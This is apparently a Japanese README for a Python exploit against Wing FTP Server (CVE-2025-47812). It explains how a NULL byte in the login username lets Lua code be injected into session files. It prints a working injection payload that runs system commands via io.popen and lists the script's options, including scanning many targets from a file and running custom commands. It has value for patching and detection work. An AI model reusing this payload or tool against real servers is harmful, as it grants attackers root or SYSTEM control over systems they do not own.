
Wing FTP Server リモートコード実行(RCE)エクスプロイト (CVE-2025-47812)
Wing FTP Server リモートコード実行 (RCE) エクスプロイト (CVE-2025-47812)
📌 クレジット: 脆弱性は Julien (@MrTuxracer) によって発見されました。
この PoC 実装は彼らのオリジナル研究に基づいています。
このリポジトリは、Wing FTP Server のリモートコード実行 (RCE) 脆弱性 (CVE-2025-47812) に対する Python エクスプロイトをホストしています。この重大な欠陥により、攻撃者は影響を受ける Wing FTP Server インスタンス上で、匿名アクセスが有効な場合でも、root/SYSTEM としてリモートコード実行を達成できます。
この脆弱性は、認証プロセス中にユーザー名パラメータ内の NULL バイトを Wing FTP Server が不適切に処理することに起因します。これにより、攻撃者は Lua コードをセッションファイルに直接注入できます。これらの悪意のあるセッションファイルは、有効なセッションが読み込まれたときに実行され、サーバー上での任意のコマンド実行につながります。
このエクスプロイトの主な機能:
このツールは、教育および許可されたペネトレーションテスト目的 にのみ使用されることを意図しています。作者は、このソフトウェアの誤用または損害について一切の責任を負いません。システムでテストを実施する前に、必ず明示的な書面による許可を得てください。
この脆弱性は Julien (@MrTuxracer) によって発見され、詳細に文書化されました。オリジナルの記事を参照してください:
What the NULL?! Wing FTP Server RCE (CVE-2025-47812)
CVE-2025-47812 脆弱性は、Wing FTP Server がユーザー認証とセッションを管理する方法における複数の弱点に起因する重大な問題です:
c_CheckUser() における NULL バイトの切り詰め: ユーザー認証を担当する c_CheckUser() 関数は、内部で提供されたユーザー名に対して strlen() を使用します。ユーザー名に NULL バイト (%00) が注入されると (例: anonymous%00...)、 strlen() はその位置で文字列を切り詰めます。つまり、認証は NULL バイト 前 のユーザー名部分に対して成功し、適切な検証を実質的にバイパスします。loginok.html 内の rawset(_SESSION, "username", username) 呼び出しは、GET または POST パラメータから 全体 のサニタイズされていないユーザー名を直接使用します。これには NULL バイトとそれに続くすべての文字が含まれます。anonymous%00]]%0dlocal+h+%3d+io.popen("id")%0dlocal+r+%3d+h%3aread("*a")%0dh%3aclose()%0dprint(r)%0d--)、この悪意のあるコードがセッションファイルに直接書き込まれます。/dir.html など) にアクセスすると呼び出される SessionModule.load() 関数は、loadfile(filepath) に続いて f() を使用してセッションファイルを直接実行します。この重要なステップにより、注入された Lua コードがトリガーされ、リモートコード実行 につながります。この脆弱性は、Wing FTP Server がデフォルトで Linux では root 権限、Windows では SYSTEM 権限 で実行されることが多いため、特に深刻です。このデフォルト設定により、悪用に成功した場合、攻撃者は侵害されたシステムに対する最大限の制御を得ることになります。
影響を受けるバージョン: 7.4.4 より前の Wing FTP Server バージョンが脆弱です。
このスクリプトは機能を調整するためのさまざまなコマンドライン引数をサポートしています。
python3 CVE-2025-47812.py -h
usage: CVE-2025-47812.py.py [-h] [-u URL] [-f FILE] [-c COMMAND] [-v] [-o OUTPUT] [-U USERNAME]
Exploit script for command injection via login.html.
options:
-h, --help show this help message and exit
-u URL, --url URL Target URL (e.g., [http://192.168.134.130](http://192.168.134.130)). Required if -f not specified.
-f FILE, --file FILE File containing list of target URLs (one per line).
-c COMMAND, --command COMMAND
Custom command to execute. Default: whoami. If specified, verbose output is enabled automatically.
-v, --verbose Show full command output (verbose mode). Ignored if -c is used since verbose is auto-enabled.
-o OUTPUT, --output OUTPUT
File to save vulnerable URLs.
-U USERNAME, --username USERNAME
Username to use in the exploit payload. Default: anonymous
python3 CVE-2025-47812.py -u http://192.168.134.130 -c ipconfig
